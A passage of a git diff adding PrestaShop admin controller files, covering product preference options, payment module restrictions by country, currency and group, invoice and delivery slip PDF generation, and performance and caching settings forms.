=> $this->l('The order in which products are displayed in the product list.'), + 'type' => 'select', + 'list' => array( + array('id' => '0', 'name' => $this->l('Product name')), + array('id' => '1', 'name' => $this->l('Product price')), + array('id' => '2', 'name' => $this->l('Product add date')), + array('id' => '3', 'name' => $this->l('Product modified date')), + array('id' => '4', 'name' => $this->l('Position inside category')), + array('id' => '5', 'name' => $this->l('Manufacturer')), + array('id' => '6', 'name' => $this->l('Product quantity')) + ), + 'identifier' => 'id' + ), + 'PS_PRODUCTS_ORDER_WAY' => array( + 'title' => $this->l('Default order method'), + 'desc' => $this->l('Default order method for product list'), + 'type' => 'select', + 'list' => array( + array( + 'id' => '0', + 'name' => $this->l('Ascending') + ), + array( + 'id' => '1', + 'name' => $this->l('Descending') + ) + ), + 'identifier' => 'id' + ) + ) + ), + 'fo_product_page' => array( + 'title' => $this->l('Product page'), + 'fields' => array( + 'PS_DISPLAY_QTIES' => array( + 'title' => $this->l('Display available quantities on the product page'), + 'desc' => '', + 'validation' => 'isBool', + 'cast' => 'intval', + 'required' => false, + 'type' => 'bool' + ), + 'PS_LAST_QTIES' => array( + 'title' => $this->l('Display remaining quantities when the qty is lower than'), + 'desc' => $this->l('Set to "0" to disable this feature.'), + 'validation' => 'isUnsignedId', + 'required' => true, + 'cast' => 'intval', + 'type' => 'text' + ), + 'PS_DISPLAY_JQZOOM' => array( + 'title' => $this->l('Enable JqZoom instead of Thickbox on the product page'), + 'desc' => '', + 'validation' => 'isBool', + 'cast' => 'intval', + 'required' => false, + 'type' => 'bool' + ), + 'PS_DISP_UNAVAILABLE_ATTR' => array( + 'title' => $this->l('Display unavailable product attributes on the product page'), + 'desc' => '', + 'validation' => 'isBool', + 'cast' => 'intval', + 'required' => false, + 'type' => 'bool' + ), + 'PS_ATTRIBUTE_CATEGORY_DISPLAY' => array( + 'title' => $this->l('Display the "add to cart" button when a product has attributes'), + 'desc' => $this->l('Display or hide the "add to cart" button on category pages for products that have attributes forcing customers to see product details.'), + 'validation' => 'isBool', + 'cast' => 'intval', + 'type' => 'bool' + ) + ) + ), + 'stock' => array( + 'title' => $this->l('Products stock'), + 'fields' => array( + 'PS_ORDER_OUT_OF_STOCK' => array( + 'title' => $this->l('Allow ordering of out-of-stock products'), + 'desc' => $this->l('Add to cart button is hidden when a product is unavailable'), + 'validation' => 'isBool', + 'cast' => 'intval', + 'required' => false, + 'type' => 'bool' + ), + 'PS_STOCK_MANAGEMENT' => array( + 'title' => $this->l('Enable stock management'), + 'desc' => '', + 'validation' => 'isBool', + 'cast' => 'intval', + 'required' => false, + 'type' => 'bool', + 'js' => array( + 'on' => 'onchange="stockManagementActivationAuthorization()"', + 'off' => 'onchange="stockManagementActivationAuthorization()"' + ) + ), + 'PS_ADVANCED_STOCK_MANAGEMENT' => array( + 'title' => $this->l('Enable advanced-stock management'), + 'desc' => $this->l('Allows you to manage physical stock, warehouses and supply orders.'), + 'validation' => 'isBool', + 'cast' => 'intval', + 'required' => false, + 'type' => 'bool', + 'visibility' => Shop::CONTEXT_ALL, + ), + ), + 'bottom' => '<script type="text/javascript">stockManagementActivationAuthorization();</script>', + 'submit' => array() + ), + ); + } + + public function beforeUpdateOptions() + { + if (!Tools::getValue('PS_STOCK_MANAGEMENT', true)) + { + $_POST['PS_ORDER_OUT_OF_STOCK'] = 1; + $_POST['PS_DISPLAY_QTIES'] = 0; + } + + // if advanced stock management is disabled, updates concerned tables + if (Configuration::get('PS_ADVANCED_STOCK_MANAGEMENT') == 1 && + (int)Tools::getValue('PS_ADVANCED_STOCK_MANAGEMENT') == 0) + { + ObjectModel::updateMultishopTable('Product', array('advanced_stock_management' => 0), 'product_shop.`advanced_stock_management` = 1'); + + Db::getInstance()->execute( + 'UPDATE `'._DB_PREFIX_.'stock_available` + SET `depends_on_stock` = 0, `quantity` = 0 + WHERE `depends_on_stock` = 1'); + } + } + +} diff --git a/controllers/admin/AdminPaymentController.php b/controllers/admin/AdminPaymentController.php new file mode 100755 index 0000000..0c10bab --- /dev/null +++ b/controllers/admin/AdminPaymentController.php @@ -0,0 +1,237 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminPaymentControllerCore extends AdminController +{ + public $payment_modules = array(); + + public function __construct() + { + parent::__construct(); + + $shop_id = Context::getContext()->shop->id; + + /* Get all modules then select only payment ones */ + $modules = Module::getModulesOnDisk(true); + + foreach ($modules as $module) + if ($module->tab == 'payments_gateways') + { + if ($module->id) + { + if (!get_class($module) == 'SimpleXMLElement') + $module->country = array(); + $countries = DB::getInstance()->executeS(' + SELECT id_country + FROM '._DB_PREFIX_.'module_country + WHERE id_module = '.(int)$module->id.' AND `id_shop`='.(int)$shop_id + ); + foreach ($countries as $country) + $module->country[] = $country['id_country']; + + if (!get_class($module) == 'SimpleXMLElement') + $module->currency = array(); + $currencies = DB::getInstance()->executeS(' + SELECT id_currency + FROM '._DB_PREFIX_.'module_currency + WHERE id_module = '.(int)$module->id.' AND `id_shop`='.(int)$shop_id + ); + foreach ($currencies as $currency) + $module->currency[] = $currency['id_currency']; + + if (!get_class($module) == 'SimpleXMLElement') + $module->group = array(); + $groups = DB::getInstance()->executeS(' + SELECT id_group + FROM '._DB_PREFIX_.'module_group + WHERE id_module = '.(int)$module->id.' AND `id_shop`='.(int)$shop_id + ); + foreach ($groups as $group) + $module->group[] = $group['id_group']; + } + else + { + $module->country = null; + $module->currency = null; + $module->group = null; + } + + $this->payment_modules[] = $module; + } + } + + public function postProcess() + { + if ($this->action) + $this->saveRestrictions($this->action); + } + + public function initProcess() + { + if ($this->tabAccess['edit'] === '1') + { + if (Tools::isSubmit('submitModulecountry')) + $this->action = 'country'; + else if (Tools::isSubmit('submitModulecurrency')) + $this->action = 'currency'; + else if (Tools::isSubmit('submitModulegroup')) + $this->action = 'group'; + } + else + $this->errors[] = Tools::displayError('You do not have permission to edit this.'); + } + + + protected function saveRestrictions($type) + { + // Delete type restrictions for active module. + $modules = array(); + foreach ($this->payment_modules as $module) + if ($module->active) + $modules[] = (int)$module->id; + + Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'module_'.bqSQL($type).'` + WHERE id_shop = '.Context::getContext()->shop->id.' + AND `id_module` IN ('.implode(', ', $modules).')' + ); + + // Fill the new restriction selection for active module. + $values = array(); + foreach ($this->payment_modules as $module) + if ($module->active && isset($_POST[$module->name.'_'.$type.''])) + foreach ($_POST[$module->name.'_'.$type.''] as $selected) + $values[] = '('.(int)$module->id.', '.(int)Context::getContext()->shop->id.', '.(int)$selected.')'; + + if (count($values)) + Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'module_'.bqSQL($type).'` + (`id_module`, `id_shop`, `id_'.bqSQL($type).'`) + VALUES '.implode(',', $values)); + + Tools::redirectAdmin(self::$currentIndex.'&conf=4'.'&token='.$this->token); + } + + public function initContent() + { + $this->display = 'view'; + return parent::initContent(); + } + + public function renderView() + { + $this->toolbar_title = $this->l('Payment: '); + unset($this->toolbar_btn['back']); + + $shop_context = (!Shop::isFeatureActive() || Shop::getContext() == Shop::CONTEXT_SHOP); + if (!$shop_context) + { + $this->tpl_view_vars = array('shop_context' => $shop_context); + return parent::renderView(); + } + + // link to modules page + if (isset($this->payment_modules[0])) + $token_modules = Tools::getAdminToken('AdminModules'.(int)Tab::getIdFromClassName('AdminModules').(int)$this->context->employee->id); + + $display_restrictions = false; + foreach ($this->payment_modules as $module) + if ($module->active) + { + $display_restrictions = true; + break; + } + + $lists = array( + array('items' => Currency::getCurrencies(), + 'title' => $this->l('Currency restrictions'), + 'desc' => $this->l('Please mark each checkbox for the currency, or currencies, in which you want the payment module(s) to be available.'), + 'name_id' => 'currency', + 'identifier' => 'id_currency', + 'icon' => 'dollar', + ), + array('items' => Group::getGroups($this->context->language->id), + 'title' => $this->l('Group restrictions'), + 'desc' => $this->l('Please mark each checkbox for the currency, or currencies, in which you want the payment module(s) to be available.'), + 'name_id' => 'group', + 'identifier' => 'id_group', + 'icon' => 'group', + ), + array('items' =>Country::getCountries($this->context->language->id), + 'title' => $this->l('Country restrictions'), + 'desc' => $this->l('Please mark each checkbox for the country, or countries, in which you want the payment module(s) to be available.'), + 'name_id' => 'country', + 'identifier' => 'id_country', + 'icon' => 'world', + ) + ); + + foreach ($lists as $key_list => $list) + { + $list['check_list'] = array(); + foreach ($list['items'] as $key_item => $item) + { + $name_id = $list['name_id']; + foreach ($this->payment_modules as $key_module => $module) + { + if (isset($module->$name_id) && in_array($item['id_'.$name_id], $module->$name_id)) + $list['items'][$key_item]['check_list'][$key_module] = 'checked'; + else + $list['items'][$key_item]['check_list'][$key_module] = 'unchecked'; + + if (!isset($module->$name_id)) + $module->$name_id = array(); + if (!isset($module->currencies_mode)) + $module->currencies_mode = ''; + if (!isset($module->currencies)) + $module->currencies = ''; + + // If is a country list and the country is limited, remove it from list + if ($name_id == 'country' + && isset($module->limited_countries) + && !empty($module->limited_countries) + && !(in_array(strtoupper($item['iso_code']), array_map('strtoupper', $module->limited_countries)))) + $list['items'][$key_item]['check_list'][$key_module] = null; + } + } + // update list + $lists[$key_list] = $list; + } + + $this->tpl_view_vars = array( + 'modules_list' => $this->renderModulesList(), + 'display_restrictions' => $display_restrictions, + 'lists' => $lists, + 'ps_base_uri' => __PS_BASE_URI__, + 'payment_modules' => $this->payment_modules, + 'url_submit' => self::$currentIndex.'&token='.$this->token, + 'shop_context' => $shop_context + ); + + return parent::renderView(); + } +} + diff --git a/controllers/admin/AdminPdfController.php b/controllers/admin/AdminPdfController.php new file mode 100755 index 0000000..de26f9e --- /dev/null +++ b/controllers/admin/AdminPdfController.php @@ -0,0 +1,188 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminPdfControllerCore extends AdminController +{ + public function postProcess() + { + parent::postProcess(); + + // We want to be sure that displaying PDF is the last thing this controller will do + exit; + } + + public function initProcess() + { + parent::initProcess(); + $access = Profile::getProfileAccess($this->context->employee->id_profile, (int)Tab::getIdFromClassName('AdminOrders')); + if ($access['view'] === '1' && ($action = Tools::getValue('submitAction'))) + $this->action = $action; + else + $this->errors[] = Tools::displayError('You do not have permission to view this.'); + } + + public function processGenerateInvoicePdf() + { + if (Tools::isSubmit('id_order')) + $this->generateInvoicePDFByIdOrder(Tools::getValue('id_order')); + elseif (Tools::isSubmit('id_order_invoice')) + $this->generateInvoicePDFByIdOrderInvoice(Tools::getValue('id_order_invoice')); + else + die (Tools::displayError('The order ID -- or the invoice order ID -- is missing.')); + } + + public function processGenerateOrderSlipPDF() + { + $orderSlip = new OrderSlip((int)Tools::getValue('id_order_slip')); + $order = new Order((int)$orderSlip->id_order); + if (!Validate::isLoadedObject($order)) + die(Tools::displayError('The order cannot be found within your database.')); + $order->products = OrderSlip::getOrdersSlipProducts($orderSlip->id, $order); + + $this->generatePDF($orderSlip, PDF::TEMPLATE_ORDER_SLIP); + } + + public function processGenerateDeliverySlipPDF() + { + if (Tools::isSubmit('id_order')) + $this->generateDeliverySlipPDFByIdOrder((int)Tools::getValue('id_order')); + elseif (Tools::isSubmit('id_order_invoice')) + $this->generateDeliverySlipPDFByIdOrderInvoice((int)Tools::getValue('id_order_invoice')); + elseif (Tools::isSubmit('id_delivery')) + { + $order = Order::getByDelivery((int)Tools::getValue('id_delivery')); + $this->generateDeliverySlipPDFByIdOrder((int)$order->id); + } + else + die (Tools::displayError('The order ID -- or the invoice order ID -- is missing.')); + } + + public function processGenerateInvoicesPDF() + { + $order_invoice_collection = OrderInvoice::getByDateInterval(Tools::getValue('date_from'), Tools::getValue('date_to')); + + if (!count($order_invoice_collection)) + die(Tools::displayError('No invoice was found.')); + + $this->generatePDF($order_invoice_collection, PDF::TEMPLATE_INVOICE); + } + + public function processGenerateInvoicesPDF2() + { + $order_invoice_collection = array(); + foreach (explode('-', Tools::getValue('id_order_state')) as $id_order_state) + if (is_array($order_invoices = OrderInvoice::getByStatus((int)$id_order_state))) + $order_invoice_collection = array_merge($order_invoices, $order_invoice_collection); + + if (!count($order_invoice_collection)) + die(Tools::displayError('No invoice was found.')); + + $this->generatePDF($order_invoice_collection, PDF::TEMPLATE_INVOICE); + } + + public function processGenerateOrderSlipsPDF() + { + $id_order_slips_list = OrderSlip::getSlipsIdByDate(Tools::getValue('date_from'), Tools::getValue('date_to')); + if (!count($id_order_slips_list)) + die (Tools::displayError('No order slips were found.')); + + $order_slips = array(); + foreach ($id_order_slips_list as $id_order_slips) + $order_slips[] = new OrderSlip((int)$id_order_slips); + + $this->generatePDF($order_slips, PDF::TEMPLATE_ORDER_SLIP); + } + + public function processGenerateDeliverySlipsPDF() + { + $order_invoice_collection = OrderInvoice::getByDeliveryDateInterval(Tools::getValue('date_from'), Tools::getValue('date_to')); + + if (!count($order_invoice_collection)) + die(Tools::displayError('No invoice was found.')); + + $this->generatePDF($order_invoice_collection, PDF::TEMPLATE_DELIVERY_SLIP); + } + + public function processGenerateSupplyOrderFormPDF() + { + if (!Tools::isSubmit('id_supply_order')) + die (Tools::displayError('The supply order ID is missing.')); + + $id_supply_order = (int)Tools::getValue('id_supply_order'); + $supply_order = new SupplyOrder($id_supply_order); + + if (!Validate::isLoadedObject($supply_order)) + die(Tools::displayError('The supply order cannot be found within your database.')); + + $this->generatePDF($supply_order, PDF::TEMPLATE_SUPPLY_ORDER_FORM); + } + + public function generateDeliverySlipPDFByIdOrder($id_order) + { + $order = new Order((int)$id_order); + if (!Validate::isLoadedObject($order)) + throw new PrestaShopException('Can\'t load Order object'); + + $order_invoice_collection = $order->getInvoicesCollection(); + $this->generatePDF($order_invoice_collection, PDF::TEMPLATE_DELIVERY_SLIP); + } + + public function generateDeliverySlipPDFByIdOrderInvoice($id_order_invoice) + { + $order_invoice = new OrderInvoice((int)$id_order_invoice); + if (!Validate::isLoadedObject($order_invoice)) + throw new PrestaShopException('Can\'t load Order Invoice object'); + + $this->generatePDF($order_invoice, PDF::TEMPLATE_DELIVERY_SLIP); + } + + public function generateInvoicePDFByIdOrder($id_order) + { + $order = new Order((int)$id_order); + if (!Validate::isLoadedObject($order)) + die(Tools::displayError('The order cannot be found within your database.')); + + $order_invoice_list = $order->getInvoicesCollection(); + Hook::exec('actionPDFInvoiceRender', array('order_invoice_list' => $order_invoice_list)); + $this->generatePDF($order_invoice_list, PDF::TEMPLATE_INVOICE); + } + + public function generateInvoicePDFByIdOrderInvoice($id_order_invoice) + { + $order_invoice = new OrderInvoice((int)$id_order_invoice); + if (!Validate::isLoadedObject($order_invoice)) + die(Tools::displayError('The order invoice cannot be found within your database.')); + + Hook::exec('actionPDFInvoiceRender', array('order_invoice_list' => array($order_invoice))); + $this->generatePDF($order_invoice, PDF::TEMPLATE_INVOICE); + } + + public function generatePDF($object, $template) + { + $pdf = new PDF($object, $template, Context::getContext()->smarty); + $pdf->render(); + } +} diff --git a/controllers/admin/AdminPerformanceController.php b/controllers/admin/AdminPerformanceController.php new file mode 100755 index 0000000..c19b3c2 --- /dev/null +++ b/controllers/admin/AdminPerformanceController.php @@ -0,0 +1,836 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminPerformanceControllerCore extends AdminController +{ + + public function __construct() + { + $this->className = 'Configuration'; + parent::__construct(); + } + + public function initFieldsetSmarty() + { + $this->fields_form[0]['form'] = array( + 'legend' => array( + 'title' => $this->l('Smarty'), + 'image' => '../img/admin/prefs.gif' + ), + 'input' => array( + array( + 'type' => 'hidden', + 'name' => 'smarty_up' + ), + array( + 'type' => 'radio', + 'label' => $this->l('Template cache'), + 'name' => 'smarty_force_compile', + 'class' => 't', + 'br' => true, + 'values' => array( + array( + 'id' => 'smarty_force_compile_'._PS_SMARTY_NO_COMPILE_, + 'value' => _PS_SMARTY_NO_COMPILE_, + 'label' => $this->l('Never recompile template files'), + 'desc' => $this->l('This option should be used in a production environment.') + ), + array( + 'id' => 'smarty_force_compile_'._PS_SMARTY_CHECK_COMPILE_, + 'value' => _PS_SMARTY_CHECK_COMPILE_, + 'label' => $this->l('Recompile templates if the files have been updated'), + 'desc' => $this->l('Templates are recompiled when they are updated. If you experience compilation troubles when you update your template files, you should use Force Compile instead of this option. It should never be used in a production environment.') + ), + array( + 'id' => 'smarty_force_compile_'._PS_SMARTY_FORCE_COMPILE_, + 'value' => _PS_SMARTY_FORCE_COMPILE_, + 'label' => $this->l('Force compilation'), + 'desc' => $this->l('This forces Smarty to (re)compile templates on every invocation. This is handy for development and debugging. Note: This should never be used in a production environment.') + ) + ) + ), + array( + 'type' => 'radio', + 'label' => $this->l('Cache'), + 'name' => 'smarty_cache', + 'class' => 't', + 'is_bool' => true, + 'values' => array( + array( + 'id' => 'smarty_cache_1', + 'value' => 1, + 'label' => $this->l('Yes'), + ), + array( + 'id' => 'smarty_cache_0', + 'value' => 0, + 'label' => $this->l('No') + ) + ), + 'desc' => $this->l('Should be enabled except for debugging.') + ), + array( + 'type' => 'radio', + 'label' => $this->l('Debug console'), + 'name' => 'smarty_console', + 'class' => 't', + 'br' => true, + 'values' => array( + array( + 'id' => 'smarty_console_none', + 'value' => 0, + 'label' => $this->l('Do not open console') + ), + array( + 'id' => 'smarty_console_url', + 'value' => 1, + 'label' => $this->l('Open console with URL parameter (SMARTY_DEBUG)'), + 'desc' => $this->l('To open the debug console, you simply pass the SMARTY_DEBUG parameter in the URL.') + ), + array( + 'id' => 'smarty_console_open', + 'value' => 2, + 'label' => $this->l('Always open console'), + 'desc' => $this->l('Choose this option to always force the debug console to open.') + ) + ) + ), + ) + ); + + $this->fields_value['smarty_force_compile'] = Configuration::get('PS_SMARTY_FORCE_COMPILE'); + $this->fields_value['smarty_cache'] = Configuration::get('PS_SMARTY_CACHE'); + $this->fields_value['smarty_console'] = Configuration::get('PS_SMARTY_CONSOLE'); + } + + public function initFieldsetFeaturesDetachables() + { + $this->fields_form[1]['form'] = array( + 'legend' => array( + 'title' => $this->l('Optional features'), + 'image' => '../img/admin/tab-plugins.gif' + ), + 'desc' => $this->l('Some features can be disabled in order to improve performance.'), + 'input' => array( + array( + 'type' => 'hidden', + 'name' => 'features_detachables_up' + ), + array( + 'type' => 'radio', + 'label' => $this->l('Combinations'), + 'name' => 'combination', + 'class' => 't', + 'is_bool' => true, + 'disabled' => Combination::isCurrentlyUsed(), + 'values' => array( + array( + 'id' => 'combination_1', + 'value' => 1, + 'label' => $this->l('Yes'), + ), + array( + 'id' => 'combination_0', + 'value' => 0, + 'label' => $this->l('No') + ) + ), + 'desc' => $this->l('These features will be disabled') + ), + array( + 'type' => 'radio', + 'label' => $this->l('Features'), + 'name' => 'feature', + 'class' => 't', + 'is_bool' => true, + 'values' => array( + array( + 'id' => 'feature_1', + 'value' => 1, + 'label' => $this->l('Yes'), + ), + array( + 'id' => 'feature_0', + 'value' => 0, + 'label' => $this->l('No') + ) + ), + 'desc' => $this->l('These features will be disabled') + ) + ) + ); + + $this->fields_value['combination'] = Combination::isFeatureActive(); + $this->fields_value['feature'] = Feature::isFeatureActive(); + } + + public function initFieldsetCCC() + { + $this->fields_form[2]['form'] = array( + 'legend' => array( + 'title' => $this->l('CCC (Combine, Compress and Cache)'), + 'image' => '../img/admin/arrow_in.png' + ), + 'desc' => $this->l('CCC allows you to reduce the loading time of your page. With these settings you will gain performance without even touching the code of your theme. Make sure, however, that your theme is compatible with PrestaShop 1.4+. Otherwise, CCC will cause problems.'), + 'input' => array( + array( + 'type' => 'hidden', + 'name' => 'ccc_up', + ), + array( + 'type' => 'radio', + 'label' => $this->l('Smart cache for CSS'), + 'name' => 'PS_CSS_THEME_CACHE', + 'class' => 't', + 'br' => true, + 'values' => array( + array( + 'id' => 'PS_CSS_THEME_CACHE_1', + 'value' => 1, + 'label' => $this->l('Use CCC for CSS.') + ), + array( + 'id' => 'PS_CSS_THEME_CACHE_0', + 'value' => 0, + 'label' => $this->l('Keep CSS as original') + ) + ) + ), + array( + 'type' => 'radio', + 'label' => $this->l('Smart cache for JavaScript'), + 'name' => 'PS_JS_THEME_CACHE', + 'class' => 't', + 'br' => true, + 'values' => array( + array( + 'id' => 'PS_JS_THEME_CACHE_1', + 'value' => 1, + 'label' => $this->l('Use CCC for JavaScript.') + ), + array( + 'id' => 'PS_JS_THEME_CACHE_0', + 'value' => 0, + 'label' => $this->l('Keep JavaScript as original') + ) + ) + ), + array( + 'type' => 'radio', + 'label' => $this->l('Minify HTML'), + 'name' => 'PS_HTML_THEME_COMPRESSION', + 'class' => 't', + 'br' => true, + 'values' => array( + array( + 'id' => 'PS_HTML_THEME_COMPRESSION_1', + 'value' => 1, + 'label' => $this->l('Minify HTML after "smarty compile" execution.') + ), + array( + 'id' => 'PS_HTML_THEME_COMPRESSION_0', + 'value' => 0, + 'label' => $this->l('Keep HTML as original') + ) + ) + ), + array( + 'type' => 'radio', + 'label' => $this->l('Compress inline JavaScript in HTML'), + 'name' => 'PS_JS_HTML_THEME_COMPRESSION', + 'class' => 't', + 'br' => true, + 'values' => array( + array( + 'id' => 'PS_JS_HTML_THEME_COMPRESSION_1', + 'value' => 1, + 'label' => $this->l('Compress inline JavaScript in HTML after "smarty compile" execution.') + ), + array( + 'id' => 'PS_JS_HTML_THEME_COMPRESSION_0', + 'value' => 0, + 'label' => $this->l('Keep inline JavaScript in HTML as original') + ) + ) + ), + array( + 'type' => 'radio', + 'label' => $this->l('Apache optimization'), + 'name' => 'PS_HTACCESS_CACHE_CONTROL', + 'class' => 't', + 'desc' => $this->l('This will add directives to your .htaccess file, which should improve caching and compression.'), + 'is_bool' => true, + 'values' => array( + array( + 'id' => 'PS_HTACCESS_CACHE_CONTROL_1', + 'value' => 1, + 'label' => $this->l('Yes'), + ), + array( + 'id' => 'PS_HTACCESS_CACHE_CONTROL_0', + 'value' => 0, + 'label' => $this->l('No'), + ), + ), + ) + ) + ); + + $this->fields_value['PS_CSS_THEME_CACHE'] = Configuration::get('PS_CSS_THEME_CACHE'); + $this->fields_value['PS_JS_THEME_CACHE'] = Configuration::get('PS_JS_THEME_CACHE'); + $this->fields_value['PS_HTML_THEME_COMPRESSION'] = Configuration::get('PS_HTML_THEME_COMPRESSION'); + $this->fields_value['PS_JS_HTML_THEME_COMPRESSION'] = Configuration::get('PS_JS_HTML_THEME_COMPRESSION'); + $this->fields_value['PS_HTACCESS_CACHE_CONTROL'] = Configuration::get('PS_HTACCESS_CACHE_CONTROL'); + $this->fields_value['ccc_up'] = 1; + } + + public function initFieldsetMediaServer() + { + $this->fields_form[3]['form'] = array( + 'legend' => array( + 'title' => $this->l('Media servers (use only with CCC)'), + 'image' => '../img/admin/subdomain.gif' + ), + 'desc' => $this->l('You must enter another domain, or subdomain, in order to use cookieless static content.'), + 'input' => array( + array( + 'type' => 'hidden', + 'name' => 'media_server_up' + ), + array( + 'type' => 'text', + 'label' => $this->l('Media server #1'), + 'name' => '_MEDIA_SERVER_1_', + 'size' => 30, + 'desc' => $this->l('Name of the second domain of your shop, (e.g. myshop-media-server-1.com). If you do not have another domain, leave this field blank.') + ), + array( + 'type' => 'text', + 'label' => $this->l('Media server #2'), + 'name' => '_MEDIA_SERVER_2_', + 'size' => 30, + 'desc' => $this->l('Name of the third domain of your shop, (e.g. myshop-media-server-2.com). If you do not have another domain, leave this field blank.') + ), + array( + 'type' => 'text', + 'label' => $this->l('Media server #3'), + 'name' => '_MEDIA_SERVER_3_', + 'size' => 30, + 'desc' => $this->l('Name of the fourth domain of your shop, (e.g. myshop-media-server-3.com). If you do not have another domain, leave this field blank.') + ), + ) + ); + + $this->fields_value['_MEDIA_SERVER_1_'] = Tools::getValue('_MEDIA_SERVER_1_', _MEDIA_SERVER_1_); + $this->fields_value['_MEDIA_SERVER_2_'] = Tools::getValue('_MEDIA_SERVER_2_', _MEDIA_SERVER_2_); + $this->fields_value['_MEDIA_SERVER_3_'] = Tools::getValue('_MEDIA_SERVER_3_', _MEDIA_SERVER_3_); + } + + public function initFieldsetCiphering() + { + $this->fields_form[4]['form'] = array( + 'legend' => array( + 'title' => $this->l('Ciphering'), + 'image' => '../img/admin/computer_key.png' + ), + 'desc' => $this->l('Mcrypt is faster than our custom BlowFish class, but requires the PHP extension "mcrypt". If you change this configuration, all cookies will be reset.'), + 'input' => array( + array( + 'type' => 'hidden', + 'name' => 'ciphering_up' + ), + array( + 'type' => 'radio', + 'label' => $this->l('Algorithm'), + 'name' => 'PS_CIPHER_ALGORITHM', + 'class' => 't', + 'br' => true, + 'values' => array( + array( + 'id' => 'PS_CIPHER_ALGORITHM_1', + 'value' => 1, + 'label' => $this->l('Use Rijndael with mcrypt lib.') + ), + array( + 'id' => 'PS_CIPHER_ALGORITHM_0', + 'value' => 0, + 'label' => $this->l('Keep the custom BlowFish class.') + ) + ) + ) + ) + ); + + $this->fields_value['PS_CIPHER_ALGORITHM'] = Configuration::get('PS_CIPHER_ALGORITHM'); + } + + public function initFieldsetCaching() + { + $caching_system = array( + 0 => array( + 'id' => 'CacheMemcache', + 'name' => $this->l('Memcached') + ), + 1 => array( + 'id' => 'CacheApc', + 'name' => $this->l('APC') + ), + 2 => array( + 'id' => 'CacheXcache', + 'name' => $this->l('Xcache') + ), + 3 => array( + 'id' => 'CacheFs', + 'name' => $this->l('File System') + ) + ); + + $this->fields_form[5]['form'] = array( + 'legend' => array( + 'title' => $this->l('Caching'), + 'image' => '../img/admin/computer_key.png' + ), + 'desc' => $this->l('Caching systems are used to speed up your store by caching data into the server\'s memory, avoiding the exhausting task of querying the database.'), + 'input' => array( + array( + 'type' => 'hidden', + 'name' => 'cache_up' + ), + array( + 'type' => 'radio', + 'label' => $this->l('Use cache'), + 'name' => 'active', + 'class' => 't', + 'is_bool' => true, + 'values' => array( + array( + 'id' => 'active_on', + 'value' => 1, + 'label' => $this->l('Enabled') + ), + array( + 'id' => 'active_off', + 'value' => 0, + 'label' => $this->l('Disabled') + ) + ), + 'desc' => $this->l('Enable or disable caching system.') + ), + array( + 'type' => 'select', + 'label' => $this->l('Caching system'), + 'name' => 'caching_system', + 'options' => array( + 'query' => $caching_system, + 'id' => 'id', + 'name' => 'name' + ) + ), + array( + 'type' => 'text', + 'label' => $this->l('Directory depth'), + 'name' => 'ps_cache_fs_directory_depth', + 'size' => 30 + ), + ), + 'submit' => array( + 'title' => $this->l(' Save '), + 'class' => 'button' + ), + 'memcachedServers' => true + ); + + $depth = Configuration::get('PS_CACHEFS_DIRECTORY_DEPTH'); + $this->fields_value['active'] = _PS_CACHE_ENABLED_; + $this->fields_value['caching_system'] = _PS_CACHING_SYSTEM_; + $this->fields_value['ps_cache_fs_directory_depth'] = $depth ? $depth : 1; + + $this->tpl_form_vars['servers'] = CacheMemcache::getMemcachedServers(); + } + + public function initFieldsetCloudCache() + { + if (!class_exists('CloudCache')) + $this->fields_form[6]['form'] = array( + 'legend' => array( + 'title' => $this->l('CloudCache'), + 'image' => '../img/admin/subdomain.gif' + ), + 'desc' => $this->l('Performance matters! Improve speed and conversions the easy way.').'<br />'. + $this->l('CloudCache supercharges your site in minutes through its state-of-the-art content delivery network.').'<br /><br />'. + $this->l('Subscribe now using the code "presta25" and get an exclusive 25% monthly discount on every available package.').'<br /><br /> + <a style="color: blue" href="index.php?controller=AdminModules&token='.Tools::getAdminTokenLite('AdminModules').'&filtername=cloudcache" id="installCloudCache">> '.$this->l('Click here to install the CloudCache module for PrestaShop').'</a><br />' + ); + } + + public function renderForm() + { + // Initialize fieldset for a form + $this->initFieldsetSmarty(); + $this->initFieldsetFeaturesDetachables(); + $this->initFieldsetCCC(); + $this->initFieldsetMediaServer(); + $this->initFieldsetCiphering(); + $this->initFieldsetCaching(); + $this->initFieldsetCloudCache(); + + // Activate 